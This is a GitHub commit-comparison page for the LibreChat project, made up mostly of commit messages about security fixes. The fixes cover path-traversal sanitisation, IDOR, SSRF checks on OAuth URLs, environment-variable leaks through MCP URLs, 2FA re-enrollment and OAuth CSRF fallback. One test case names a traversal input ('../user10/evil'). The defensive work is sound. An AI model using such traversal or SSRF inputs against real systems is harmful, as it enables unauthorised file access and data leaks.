Compare commits

...

41 commits

Author SHA1 Message Date
Danny Avila
cbdc6f6060
📦 chore: Bump NPM Audit Packages (#12227)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Waiting to run
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Waiting to run
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Blocked by required conditions
* 🔧 chore: Update file-type dependency to version 21.3.2 in package-lock.json and package.json

- Upgraded the "file-type" package from version 18.7.0 to 21.3.2 to ensure compatibility with the latest features and security updates.
- Added new dependencies related to the updated "file-type" package, enhancing functionality and performance.

* 🔧 chore: Upgrade undici dependency to version 7.24.1 in package-lock.json and package.json

- Updated the "undici" package from version 7.18.2 to 7.24.1 across multiple package files to ensure compatibility with the latest features and security updates.

* 🔧 chore: Upgrade yauzl dependency to version 3.2.1 in package-lock.json

- Updated the "yauzl" package from version 3.2.0 to 3.2.1 to incorporate the latest features and security updates.

* 🔧 chore: Upgrade hono dependency to version 4.12.7 in package-lock.json

- Updated the "hono" package from version 4.12.5 to 4.12.7 to incorporate the latest features and security updates.
2026-03-14 03:36:03 -04:00
Danny Avila
f67bbb2bc5
🧹 fix: Sanitize Artifact Filenames in Code Execution Output (#12222)
* fix: sanitize artifact filenames to prevent path traversal in code output

* test: Mock sanitizeFilename function in process.spec.js to return the original filename

- Added a mock implementation for the `sanitizeFilename` function in the `process.spec.js` test file to return the original filename, ensuring that tests can run without altering the filename during the testing process.

* fix: use path.relative for traversal check, sanitize all filenames, add security logging

- Replace startsWith with path.relative pattern in saveLocalBuffer, consistent
  with deleteLocalFile and getLocalFileStream in the same file
- Hoist sanitizeFilename call before the image/non-image branch so both code
  paths store the sanitized name in MongoDB
- Log a warning when sanitizeFilename mutates a filename (potential traversal)
- Log a specific warning when saveLocalBuffer throws a traversal error, so
  security events are distinguishable from generic network errors in the catch

* test: improve traversal test coverage and remove mock reimplementation

- Remove partial sanitizeFilename reimplementation from process-traversal tests;
  use controlled mock returns to verify processCodeOutput wiring instead
- Add test for image branch sanitization
- Use mkdtempSync for test isolation in crud-traversal to avoid parallel worker
  collisions
- Add prefix-collision bypass test case (../user10/evil vs user1 directory)

* fix: use path.relative in isValidPath to prevent prefix-collision bypass

Pre-existing startsWith check without path separator had the same class
of prefix-collision vulnerability fixed in saveLocalBuffer.
2026-03-14 03:09:26 -04:00
Danny Avila
35a35dc2e9
📏 refactor: Add File Size Limits to Conversation Imports (#12221)
* fix: add file size limits to conversation import multer instance

* fix: address review findings for conversation import file size limits

* fix: use local jest.mock for data-schemas instead of global moduleNameMapper

The global @librechat/data-schemas mock in jest.config.js only provided
logger, breaking all tests that depend on createModels from the same
package. Replace with a virtual jest.mock scoped to the import spec file.

* fix: move import to top of file, pre-compute upload middleware, assert logger.warn in tests

* refactor: move resolveImportMaxFileSize to packages/api

New backend logic belongs in packages/api as TypeScript. Delete the
api/server/utils/import/limits.js wrapper and import directly from
@librechat/api in convos.js and importConversations.js. Resolver unit
tests move to packages/api; the api/ spec retains only multer behavior
tests.

* chore: rename importLimits to import

* fix: stale type reference and mock isolation in import tests

Update typeof import path from '../importLimits' to '../import' after
the rename. Clear mockLogger.warn in beforeEach to prevent cross-test
accumulation.

* fix: add resolveImportMaxFileSize to @librechat/api mock in convos.spec.js

* fix: resolve jest.mock hoisting issue in import tests

jest.mock factories are hoisted above const declarations, so the
mockLogger reference was undefined at factory evaluation time. Use a
direct import of the mocked logger module instead.

* fix: remove virtual flag from data-schemas mock for CI compatibility

virtual: true prevents the mock from intercepting the real module in
CI where @librechat/data-schemas is built, causing import.ts to use
the real logger while the test asserts against the mock.
2026-03-14 03:06:29 -04:00
Danny Avila
c6982dc180
🛡️ fix: Agent Permission Check on Image Upload Route (#12219)
* fix: add agent permission check to image upload route

* refactor: remove unused SystemRoles import and format test file for clarity

* fix: address review findings for image upload agent permission check

* refactor: move agent upload auth logic to TypeScript in packages/api

Extract pure authorization logic from agentPermCheck.js into
checkAgentUploadAuth() in packages/api/src/files/agentUploadAuth.ts.
The function returns a structured result ({ allowed, status, error })
instead of writing HTTP responses directly, eliminating the dual
responsibility and confusing sentinel return value. The JS wrapper
in /api is now a thin adapter that translates the result to HTTP.

* test: rewrite image upload permission tests as integration tests

Replace mock-heavy images-agent-perm.spec.js with integration tests
using MongoMemoryServer, real models, and real PermissionService.
Follows the established pattern in files.agents.test.js. Moves test
to sibling location (images.agents.test.js) matching backend convention.
Adds temp file cleanup assertions on 403/404 responses and covers
message_file exemption paths (boolean true, string "true", false).

* fix: widen AgentUploadAuthDeps types to accept ObjectId from Mongoose

The injected getAgent returns Mongoose documents where _id and author
are Types.ObjectId at runtime, not string. Widen the DI interface to
accept string | Types.ObjectId for _id, author, and resourceId so the
contract accurately reflects real callers.

* chore: move agent upload auth into files/agents/ subdirectory

* refactor: delete agentPermCheck.js wrapper, move verifyAgentUploadPermission to packages/api

The /api-only dependencies (getAgent, checkPermission) are now passed
as object-field params from the route call sites. Both images.js and
files.js import verifyAgentUploadPermission from @librechat/api and
inject the deps directly, eliminating the intermediate JS wrapper.

* style: fix import type ordering in agent upload auth

* fix: prevent token TTL race in MCPTokenStorage.storeTokens

When expires_in is provided, use it directly instead of round-tripping
through Date arithmetic. The previous code computed accessTokenExpiry
as a Date, then after an async encryptV2 call, recomputed expiresIn by
subtracting Date.now(). On loaded CI runners the elapsed time caused
Math.floor to truncate to 0, triggering the 1-year fallback and making
the token appear permanently valid — so refresh never fired.
2026-03-14 02:57:56 -04:00
Danny Avila
71a3b48504
🔑 fix: Require OTP Verification for 2FA Re-Enrollment and Backup Code Regeneration (#12223)
* fix: require OTP verification for 2FA re-enrollment and backup code regeneration

* fix: require OTP verification for account deletion when 2FA is enabled

* refactor: Improve code formatting and readability in TwoFactorController and UserController

- Reformatted code in TwoFactorController and UserController for better readability by aligning parameters and breaking long lines.
- Updated test cases in deleteUser.spec.js and TwoFactorController.spec.js to enhance clarity by formatting object parameters consistently.

* refactor: Consolidate OTP and backup code verification logic in TwoFactorController and UserController

- Introduced a new `verifyOTPOrBackupCode` function to streamline the verification process for TOTP tokens and backup codes across multiple controllers.
- Updated the `enable2FA`, `disable2FA`, and `deleteUserController` methods to utilize the new verification function, enhancing code reusability and readability.
- Adjusted related tests to reflect the changes in verification logic, ensuring consistent behavior across different scenarios.
- Improved error handling and response messages for verification failures, providing clearer feedback to users.

* chore: linting

* refactor: Update BackupCodesItem component to enhance OTP verification logic

- Consolidated OTP input handling by moving the 2FA verification UI logic to a more consistent location within the component.
- Improved the state management for OTP readiness, ensuring the regenerate button is only enabled when the OTP is ready.
- Cleaned up imports by removing redundant type imports, enhancing code clarity and maintainability.

* chore: lint

* fix: stage 2FA re-enrollment in pending fields to prevent disarmament window

enable2FA now writes to pendingTotpSecret/pendingBackupCodes instead of
overwriting the live fields. confirm2FA performs the atomic swap only after
the new TOTP code is verified. If the user abandons mid-flow, their
existing 2FA remains active and intact.
2026-03-14 01:51:31 -04:00
Danny Avila
189cdf581d
🔐 fix: Add User Filter to Message Deletion (#12220)
* fix: add user filter to message deletion to prevent IDOR

* refactor: streamline DELETE request syntax in messages-delete test

- Simplified the DELETE request syntax in the messages-delete.spec.js test file by combining multiple lines into a single line for improved readability. This change enhances the clarity of the test code without altering its functionality.

* fix: address review findings for message deletion IDOR fix

* fix: add user filter to message deletion in conversation tests

- Included a user filter in the message deletion test to ensure proper handling of user-specific deletions, enhancing the accuracy of the test case and preventing potential IDOR vulnerabilities.

* chore: lint
2026-03-13 23:42:37 -04:00
Danny Avila
ca79a03135
🚦 fix: Add Rate Limiting to Conversation Duplicate Endpoint (#12218)
* fix: add rate limiting to conversation duplicate endpoint

* chore: linter

* fix: address review findings for conversation duplicate rate limiting

* refactor: streamline test mocks for conversation routes

- Consolidated mock implementations into a dedicated `convos-route-mocks.js` file to enhance maintainability and readability of test files.
- Updated tests in `convos-duplicate-ratelimit.spec.js` and `convos.spec.js` to utilize the new mock structure, improving clarity and reducing redundancy.
- Enhanced the `duplicateConversation` function to accept an optional title parameter for better flexibility in conversation duplication.

* chore: rename files
2026-03-13 23:40:44 -04:00
Danny Avila
fa9e1b228a
🪪 fix: MCP API Responses and OAuth Validation (#12217)
* 🔒 fix: Validate MCP Configs in Server Responses

* 🔒 fix: Enhance OAuth URL Validation in MCPOAuthHandler

- Introduced validation for OAuth URLs to ensure they do not target private or internal addresses, enhancing security against SSRF attacks.
- Updated the OAuth flow to validate both authorization and token URLs before use, ensuring compliance with security standards.
- Refactored redirect URI handling to streamline the OAuth client registration process.
- Added comprehensive error handling for invalid URLs, improving robustness in OAuth interactions.

* 🔒 feat: Implement Permission Checks for MCP Server Management

- Added permission checkers for MCP server usage and creation, enhancing access control.
- Updated routes for reinitializing MCP servers and retrieving authentication values to include these permission checks, ensuring only authorized users can access these functionalities.
- Refactored existing permission logic to improve clarity and maintainability.

* 🔒 fix: Enhance MCP Server Response Validation and Redaction

- Updated MCP route tests to use `toMatchObject` for better validation of server response structures, ensuring consistency in expected properties.
- Refactored the `redactServerSecrets` function to streamline the removal of sensitive information, ensuring that user-sourced API keys are properly redacted while retaining their source.
- Improved OAuth security tests to validate rejection of private URLs across multiple endpoints, enhancing protection against SSRF vulnerabilities.
- Added comprehensive tests for the `redactServerSecrets` function to ensure proper handling of various server configurations, reinforcing security measures.

* chore: eslint

* 🔒 fix: Enhance OAuth Server URL Validation in MCPOAuthHandler

- Added validation for discovered authorization server URLs to ensure they meet security standards.
- Improved logging to provide clearer insights when an authorization server is found from resource metadata.
- Refactored the handling of authorization server URLs to enhance robustness against potential security vulnerabilities.

* 🔒 test: Bypass SSRF validation for MCP OAuth Flow tests

- Mocked SSRF validation functions to allow tests to use real local HTTP servers, facilitating more accurate testing of the MCP OAuth flow.
- Updated test setup to ensure compatibility with the new mocking strategy, enhancing the reliability of the tests.

* 🔒 fix: Add Validation for OAuth Metadata Endpoints in MCPOAuthHandler

- Implemented checks for the presence and validity of registration and token endpoints in the OAuth metadata, enhancing security by ensuring that these URLs are properly validated before use.
- Improved error handling and logging to provide better insights during the OAuth metadata processing, reinforcing the robustness of the OAuth flow.

* 🔒 refactor: Simplify MCP Auth Values Endpoint Logic

- Removed redundant permission checks for accessing the MCP server resource in the auth-values endpoint, streamlining the request handling process.
- Consolidated error handling and response structure for improved clarity and maintainability.
- Enhanced logging for better insights during the authentication value checks, reinforcing the robustness of the endpoint.

* 🔒 test: Refactor LeaderElection Integration Tests for Improved Cleanup

- Moved Redis key cleanup to the beforeEach hook to ensure a clean state before each test.
- Enhanced afterEach logic to handle instance resignations and Redis key deletion more robustly, improving test reliability and maintainability.
2026-03-13 23:18:56 -04:00
Danny Avila
f32907cd36
🔏 fix: MCP Server URL Schema Validation (#12204)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
* fix: MCP server configuration validation and schema

- Added tests to reject URLs containing environment variable references for SSE, streamable-http, and websocket types in the MCP routes.
- Introduced a new schema in the data provider to ensure user input URLs do not resolve environment variables, enhancing security against potential leaks.
- Updated existing MCP server user input schema to utilize the new validation logic, ensuring consistent handling of user-supplied URLs across the application.

* fix: MCP URL validation to reject env variable references

- Updated tests to ensure that URLs for SSE, streamable-http, and websocket types containing environment variable patterns are rejected, improving security against potential leaks.
- Refactored the MCP server user input schema to enforce stricter validation rules, preventing the resolution of environment variables in user-supplied URLs.
- Introduced new test cases for various URL types to validate the rejection logic, ensuring consistent handling across the application.

* test: Enhance MCPServerUserInputSchema tests for environment variable handling

- Introduced new test cases to validate the prevention of environment variable exfiltration through user input URLs in the MCPServerUserInputSchema.
- Updated existing tests to confirm that URLs containing environment variable patterns are correctly resolved or rejected, improving security against potential leaks.
- Refactored test structure to better organize environment variable handling scenarios, ensuring comprehensive coverage of edge cases.
2026-03-12 23:19:31 -04:00
github-actions[bot]
65b0bfde1b
🌍 i18n: Update translation.json with latest translations (#12203)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-12 20:48:05 -04:00
Danny Avila
3ddf62c8e5
🫙 fix: Force MeiliSearch Full Sync on Empty Index State (#12202)
Some checks failed
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Has been cancelled
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Has been cancelled
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Has been cancelled
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Has been cancelled
* fix: meili index sync with unindexed documents

- Updated `performSync` function to force a full sync when a fresh MeiliSearch index is detected, even if the number of unindexed messages or convos is below the sync threshold.
- Added logging to indicate when a fresh index is detected and a full sync is initiated.
- Introduced new tests to validate the behavior of the sync logic under various conditions, ensuring proper handling of fresh indexes and threshold scenarios.

This change improves the reliability of the synchronization process, ensuring that all documents are indexed correctly when starting with a fresh index.

* refactor: update sync logic for unindexed documents in MeiliSearch

- Renamed variables in `performSync` to improve clarity, changing `freshIndex` to `noneIndexed` for better understanding of the sync condition.
- Adjusted the logic to ensure a full sync is forced when no messages or conversations are marked as indexed, even if below the sync threshold.
- Updated related tests to reflect the new logging messages and conditions, enhancing the accuracy of the sync threshold logic.

This change improves the readability and reliability of the synchronization process, ensuring all documents are indexed correctly when starting with a fresh index.

* fix: enhance MeiliSearch index creation error handling

- Updated the `mongoMeili` function to improve logging and error handling during index creation in MeiliSearch.
- Added handling for `MeiliSearchTimeOutError` to log a warning when index creation times out.
- Enhanced logging to differentiate between successful index creation and specific failure reasons, including cases where the index already exists.
- Improved debug logging for index creation tasks to provide clearer insights into the process.

This change enhances the robustness of the index creation process and improves observability for troubleshooting.

* fix: update MeiliSearch index creation error handling

- Modified the `mongoMeili` function to check for any status other than 'succeeded' during index creation, enhancing error detection.
- Improved logging to provide clearer insights when an index creation task fails, particularly for cases where the index already exists.

This change strengthens the error handling mechanism for index creation in MeiliSearch, ensuring better observability and reliability.
2026-03-12 20:43:23 -04:00
github-actions[bot]
fc6f7a337d
🌍 i18n: Update translation.json with latest translations (#12176)
Some checks failed
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Has been cancelled
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Has been cancelled
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-11 11:46:55 -04:00
Danny Avila
9a5d7eaa4e
refactor: Replace tiktoken with ai-tokenizer (#12175)
Some checks failed
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
Docker Dev Images Build / build (Dockerfile, librechat-dev, node) (push) Has been cancelled
Docker Dev Images Build / build (Dockerfile.multi, librechat-dev-api, api-build) (push) Has been cancelled
Sync Locize Translations & Create Translation PR / Sync Translation Keys with Locize (push) Has been cancelled
Sync Locize Translations & Create Translation PR / Create Translation PR on Version Published (push) Has been cancelled
* chore: Update dependencies by adding ai-tokenizer and removing tiktoken

- Added ai-tokenizer version 1.0.6 to package.json and package-lock.json across multiple packages.
- Removed tiktoken version 1.0.15 from package.json and package-lock.json in the same locations, streamlining dependency management.

* refactor: replace js-tiktoken with ai-tokenizer

- Added support for 'claude' encoding in the AgentClient class to improve model compatibility.
- Updated Tokenizer class to utilize 'ai-tokenizer' for both 'o200k_base' and 'claude' encodings, replacing the previous 'tiktoken' dependency.
- Refactored tests to reflect changes in tokenizer behavior and ensure accurate token counting for both encoding types.
- Removed deprecated references to 'tiktoken' and adjusted related tests for improved clarity and functionality.

* chore: remove tiktoken mocks from DALLE3 tests

- Eliminated mock implementations of 'tiktoken' from DALLE3-related test files to streamline test setup and align with recent dependency updates.
- Adjusted related test structures to ensure compatibility with the new tokenizer implementation.

* chore: Add distinct encoding support for Anthropic Claude models

- Introduced a new method `getEncoding` in the AgentClient class to handle the specific BPE tokenizer for Claude models, ensuring compatibility with the distinct encoding requirements.
- Updated documentation to clarify the encoding logic for Claude and other models.

* docs: Update return type documentation for getEncoding method in AgentClient

- Clarified the return type of the getEncoding method to specify that it can return an EncodingName or undefined, enhancing code readability and type safety.

* refactor: Tokenizer class and error handling

- Exported the EncodingName type for broader usage.
- Renamed encodingMap to encodingData for clarity.
- Improved error handling in getTokenCount method to ensure recovery attempts are logged and return 0 on failure.
- Updated countTokens function documentation to specify the use of 'o200k_base' encoding.

* refactor: Simplify encoding documentation and export type

- Updated the getEncoding method documentation to clarify the default behavior for non-Anthropic Claude models.
- Exported the EncodingName type separately from the Tokenizer module for improved clarity and usage.

* test: Update text processing tests for token limits

- Adjusted test cases to handle smaller text sizes, changing scenarios from ~120k tokens to ~20k tokens for both the real tokenizer and countTokens functions.
- Updated token limits in tests to reflect new constraints, ensuring tests accurately assess performance and call reduction.
- Enhanced console log messages for clarity regarding token counts and reductions in the updated scenarios.

* refactor: Update Tokenizer imports and exports

- Moved Tokenizer and countTokens exports to the tokenizer module for better organization.
- Adjusted imports in memory.ts to reflect the new structure, ensuring consistent usage across the codebase.
- Updated memory.test.ts to mock the Tokenizer from the correct module path, enhancing test accuracy.

* refactor: Tokenizer initialization and error handling

- Introduced an async `initEncoding` method to preload tokenizers, improving performance and accuracy in token counting.
- Updated `getTokenCount` to handle uninitialized tokenizers more gracefully, ensuring proper recovery and logging on errors.
- Removed deprecated synchronous tokenizer retrieval, streamlining the overall tokenizer management process.

* test: Enhance tokenizer tests with initialization and encoding checks

- Added `beforeAll` hooks to initialize tokenizers for 'o200k_base' and 'claude' encodings before running tests, ensuring proper setup.
- Updated tests to validate the loading of encodings and the correctness of token counts for both 'o200k_base' and 'claude'.
- Improved test structure to deduplicate concurrent initialization calls, enhancing performance and reliability.
2026-03-10 23:14:52 -04:00
Danny Avila
fcb344da47
🛂 fix: MCP OAuth Race Conditions, CSRF Fallback, and Token Expiry Handling (#12171)
Some checks are pending
Docker Dev Branch Images Build / build (Dockerfile, lc-dev, node) (push) Waiting to run
Docker Dev Branch Images Build / build (Dockerfile.multi, lc-dev-api, api-build) (push) Waiting to run
* fix: Implement race conditions in MCP OAuth flow

- Added connection mutex to coalesce concurrent `getUserConnection` calls, preventing multiple simultaneous attempts.
- Enhanced flow state management to retry once when a flow state is missing, improving resilience against race conditions.
- Introduced `ReauthenticationRequiredError` for better error handling when access tokens are expired or missing.
- Updated tests to cover new race condition scenarios and ensure proper handling of OAuth flows.

* fix: Stale PENDING flow detection and OAuth URL re-issuance

PENDING flows in handleOAuthRequired now check createdAt age — flows
older than 2 minutes are treated as stale and replaced instead of
joined. Fixes the case where a leftover PENDING flow from a previous
session blocks new OAuth initiation.

authorizationUrl is now stored in MCPOAuthFlowMetadata so that when a
second caller joins an active PENDING flow (e.g., the SSE-emitting path
in ToolService), it can re-issue the URL to the user via oauthStart.

* fix: CSRF fallback via active PENDING flow in OAuth callback

When the OAuth callback arrives without CSRF or session cookies (common
in the chat/SSE flow where cookies can't be set on streaming responses),
fall back to validating that a PENDING flow exists for the flowId. This
is safe because the flow was created server-side after JWT authentication
and the authorization code is PKCE-protected.

* test: Extract shared OAuth test server helpers

Move MockKeyv, getFreePort, trackSockets, and createOAuthMCPServer into
a shared helpers/oauthTestServer module. Enhance the test server with
refresh token support, token rotation, metadata discovery, and dynamic
client registration endpoints. Add InMemoryTokenStore for token storage
tests.

Refactor MCPOAuthRaceCondition.test.ts to import from shared helpers.

* test: Add comprehensive MCP OAuth test modules

MCPOAuthTokenStorage — 21 tests for storeTokens/getTokens with
InMemoryTokenStore: encrypt/decrypt round-trips, expiry calculation,
refresh callback wiring, ReauthenticationRequiredError paths.

MCPOAuthFlow — 10 tests against real HTTP server: token refresh with
stored client info, refresh token rotation, metadata discovery, dynamic
client registration, full store/retrieve/expire/refresh lifecycle.

MCPOAuthConnectionEvents — 5 tests for MCPConnection OAuth event cycle
with real OAuth-gated MCP server: oauthRequired emission on 401,
oauthHandled reconnection, oauthFailed rejection, token expiry detection.

MCPOAuthTokenExpiry — 12 tests for the token expiry edge case: refresh
success/failure paths, ReauthenticationRequiredError, PENDING flow CSRF
fallback, authorizationUrl metadata storage, full re-auth cycle after
refresh failure, concurrent expired token coalescing, stale PENDING
flow detection.

* test: Enhance MCP OAuth connection tests with cooldown reset

Added a `beforeEach` hook to clear the cooldown for `MCPConnection` before each test, ensuring a clean state. Updated the race condition handling in the tests to properly clear the timeout, improving reliability in the event data retrieval process.

* refactor: PENDING flow management and state recovery in MCP OAuth

- Introduced a constant `PENDING_STALE_MS` to define the age threshold for PENDING flows, improving the handling of stale flows.
- Updated the logic in `MCPConnectionFactory` and `FlowStateManager` to check the age of PENDING flows before joining or reusing them.
- Modified the `completeFlow` method to return false when the flow state is deleted, ensuring graceful handling of race conditions.
- Enhanced tests to validate the new behavior and ensure robustness against state recovery issues.

* refactor: MCP OAuth flow management and testing

- Updated the `completeFlow` method to log warnings when a tool flow state is not found during completion, improving error handling.
- Introduced a new `normalizeExpiresAt` function to standardize expiration timestamp handling across the application.
- Refactored token expiration checks in `MCPConnectionFactory` to utilize the new normalization function, ensuring consistent behavior.
- Added a comprehensive test suite for OAuth callback CSRF fallback logic, validating the handling of PENDING flows and their staleness.
- Enhanced existing tests to cover new expiration normalization logic and ensure robust flow state management.

* test: Add CSRF fallback tests for active PENDING flows in MCP OAuth

- Introduced new tests to validate CSRF fallback behavior when a fresh PENDING flow exists without cookies, ensuring successful OAuth callback handling.
- Added scenarios to reject requests when no PENDING flow exists, when only a COMPLETED flow is present, and when a PENDING flow is stale, enhancing the robustness of flow state management.
- Improved overall test coverage for OAuth callback logic, reinforcing the handling of CSRF validation failures.

* chore: imports order

* refactor: Update UserConnectionManager to conditionally manage pending connections

- Modified the logic in `UserConnectionManager` to only set pending connections if `forceNew` is false, preventing unnecessary overwrites.
- Adjusted the cleanup process to ensure pending connections are only deleted when not forced, enhancing connection management efficiency.

* refactor: MCP OAuth flow state management

- Introduced a new method `storeStateMapping` in `MCPOAuthHandler` to securely map the OAuth state parameter to the flow ID, improving callback resolution and security against forgery.
- Updated the OAuth initiation and callback handling in `mcp.js` to utilize the new state mapping functionality, ensuring robust flow management.
- Refactored `MCPConnectionFactory` to store state mappings during flow initialization, enhancing the integrity of the OAuth process.
- Adjusted comments to clarify the purpose of state parameters in authorization URLs, reinforcing code readability.

* refactor: MCPConnection with OAuth recovery handling

- Added `oauthRecovery` flag to manage OAuth recovery state during connection attempts.
- Introduced `decrementCycleCount` method to reduce the circuit breaker's cycle count upon successful reconnection after OAuth recovery.
- Updated connection logic to reset the `oauthRecovery` flag after handling OAuth, improving state management and connection reliability.

* chore: Add debug logging for OAuth recovery cycle count decrement

- Introduced a debug log statement in the `MCPConnection` class to track the decrement of the cycle count after a successful reconnection during OAuth recovery.
- This enhancement improves observability and aids in troubleshooting connection issues related to OAuth recovery.

* test: Add OAuth recovery cycle management tests

- Introduced new tests for the OAuth recovery cycle in `MCPConnection`, validating the decrement of cycle counts after successful reconnections.
- Added scenarios to ensure that the cycle count is not decremented on OAuth failures, enhancing the robustness of connection management.
- Improved test coverage for OAuth reconnect scenarios, ensuring reliable behavior under various conditions.

* feat: Implement circuit breaker configuration in MCP

- Added circuit breaker settings to `.env.example` for max cycles, cycle window, and cooldown duration.
- Refactored `MCPConnection` to utilize the new configuration values from `mcpConfig`, enhancing circuit breaker management.
- Improved code maintainability by centralizing circuit breaker parameters in the configuration file.

* refactor: Update decrementCycleCount method for circuit breaker management

- Changed the visibility of the `decrementCycleCount` method in `MCPConnection` from private to public static, allowing it to be called with a server name parameter.
- Updated calls to `decrementCycleCount` in `MCPConnectionFactory` to use the new static method, improving clarity and consistency in circuit breaker management during connection failures and OAuth recovery.
- Enhanced the handling of circuit breaker state by ensuring the method checks for the existence of the circuit breaker before decrementing the cycle count.

* refactor: cycle count decrement on tool listing failure

- Added a call to `MCPConnection.decrementCycleCount` in the `MCPConnectionFactory` to handle cases where unauthenticated tool listing fails, improving circuit breaker management.
- This change ensures that the cycle count is decremented appropriately, maintaining the integrity of the connection recovery process.

* refactor: Update circuit breaker configuration and logic

- Enhanced circuit breaker settings in `.env.example` to include new parameters for failed rounds and backoff strategies.
- Refactored `MCPConnection` to utilize the updated configuration values from `mcpConfig`, improving circuit breaker management.
- Updated tests to reflect changes in circuit breaker logic, ensuring accurate validation of connection behavior under rapid reconnect scenarios.

* feat: Implement state mapping deletion in MCP flow management

- Added a new method `deleteStateMapping` in `MCPOAuthHandler` to remove orphaned state mappings when a flow is replaced, preventing old authorization URLs from resolving after a flow restart.
- Updated `MCPConnectionFactory` to call `deleteStateMapping` during flow cleanup, ensuring proper management of OAuth states.
- Enhanced test coverage for state mapping functionality to validate the new deletion logic.
2026-03-10 21:15:01 -04:00
Danny Avila
6167ce6e57
🧪 chore: MCP Reconnect Storm Follow-Up Fixes and Integration Tests (#12172)
* 🧪 test: Add reconnection storm regression tests for MCPConnection

Introduced a comprehensive test suite for reconnection storm scenarios, validating circuit breaker, throttling, cooldown, and timeout fixes. The tests utilize real MCP SDK transports and a StreamableHTTP server to ensure accurate behavior under rapid connect/disconnect cycles and error handling for SSE 400/405 responses. This enhances the reliability of the MCPConnection by ensuring proper handling of reconnection logic and circuit breaker functionality.

* 🔧 fix: Update createUnavailableToolStub to return structured response

Modified the `createUnavailableToolStub` function to return an array containing the unavailable message and a null value, enhancing the response structure. Additionally, added a debug log to skip tool creation when the result is null, improving the handling of reconnection scenarios in the MCP service.

* 🧪 test: Enhance MCP tool creation tests for cache and throttle interactions

Added new test cases for the `createMCPTool` function to validate the caching behavior when tools are unavailable or throttled. The tests ensure that tools are correctly cached as missing and prevent unnecessary reconnects across different users, improving the reliability of the MCP service under concurrent usage scenarios. Additionally, introduced a test for the `createMCPTools` function to verify that it returns an empty array when reconnect is throttled, ensuring proper handling of throttling logic.

* 📝 docs: Update AGENTS.md with testing philosophy and guidelines

Expanded the testing section in AGENTS.md to emphasize the importance of using real logic over mocks, advocating for the use of spies and real dependencies in tests. Added specific recommendations for testing with MongoDB and MCP SDK, highlighting the need to mock only uncontrollable external services. This update aims to improve testing practices and encourage more robust test implementations.

* 🧪 test: Enhance reconnection storm tests with socket tracking and SSE handling

Updated the reconnection storm test suite to include a new socket tracking mechanism for better resource management during tests. Improved the handling of SSE 400/405 responses by ensuring they are processed in the same branch as 404 errors, preventing unhandled cases. This enhances the reliability of the MCPConnection under rapid reconnect scenarios and ensures proper error handling.

* 🔧 fix: Implement cache eviction for stale reconnect attempts and missing tools

Added an `evictStale` function to manage the size of the `lastReconnectAttempts` and `missingToolCache` maps, ensuring they do not exceed a maximum cache size. This enhancement improves resource management by removing outdated entries based on a specified time-to-live (TTL), thereby optimizing the MCP service's performance during reconnection scenarios.
2026-03-10 17:44:13 -04:00
Danny Avila
c0e876a2e6
🔄 refactor: OAuth Metadata Discovery with Origin Fallback (#12170)
* 🔄 refactor: OAuth Metadata Discovery with Origin Fallback

Updated the `discoverWithOriginFallback` method to improve the handling of OAuth authorization server metadata discovery. The method now retries with the origin URL when discovery fails for a path-based URL, ensuring consistent behavior across `discoverMetadata` and token refresh flows. This change reduces code duplication and enhances the reliability of the OAuth flow by providing a unified implementation for origin fallback logic.

* 🧪 test: Add tests for OAuth Token Refresh with Origin Fallback

Introduced new tests for the `refreshOAuthTokens` method in `MCPOAuthHandler` to validate the retry mechanism with the origin URL when path-based discovery fails. The tests cover scenarios where the first discovery attempt throws an error and the subsequent attempt succeeds, as well as cases where the discovery fails entirely. This enhances the reliability of the OAuth token refresh process by ensuring proper handling of discovery failures.

* chore: imports order

* fix: Improve Base URL Logging and Metadata Discovery in MCPOAuthHandler

Updated the logging to use a consistent base URL object when handling discovery failures in the MCPOAuthHandler. This change enhances error reporting by ensuring that the base URL is logged correctly, and it refines the metadata discovery process by returning the result of the discovery attempt with the base URL, improving the reliability of the OAuth flow.
2026-03-10 16:19:07 -04:00
Oreon Lothamer
eb6328c1d9
🛤️ fix: Base URL Fallback for Path-based OAuth Discovery in Token Refresh (#12164)
* fix: add base URL fallback for path-based OAuth discovery in token refresh

The two `refreshOAuthTokens` paths in `MCPOAuthHandler` were missing the
origin-URL fallback that `initiateOAuthFlow` already had. With MCP SDK
1.27.1, `buildDiscoveryUrls` appends the server path to the
`.well-known` URL (e.g. `/.well-known/oauth-authorization-server/mcp`),
which returns 404 for servers like Sentry that only expose the root
discovery endpoint (`/.well-known/oauth-authorization-server`).

Without the fallback, discovery returns null during refresh, the token
endpoint resolves to the wrong URL, and users are prompted to
re-authenticate every time their access token expires instead of the
refresh token being exchanged silently.

Both refresh paths now mirror the `initiateOAuthFlow` pattern: if
discovery fails and the server URL has a non-root path, retry with just
the origin URL.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* refactor: extract discoverWithOriginFallback helper; add tests

Extract the duplicated path-based URL retry logic from both
`refreshOAuthTokens` branches into a single private static helper
`discoverWithOriginFallback`, reducing the risk of the two paths
drifting in the future.

Add three tests covering the new behaviour:
- stored clientInfo path: asserts discovery is called twice (path then
  origin) and that the token endpoint from the origin discovery is used
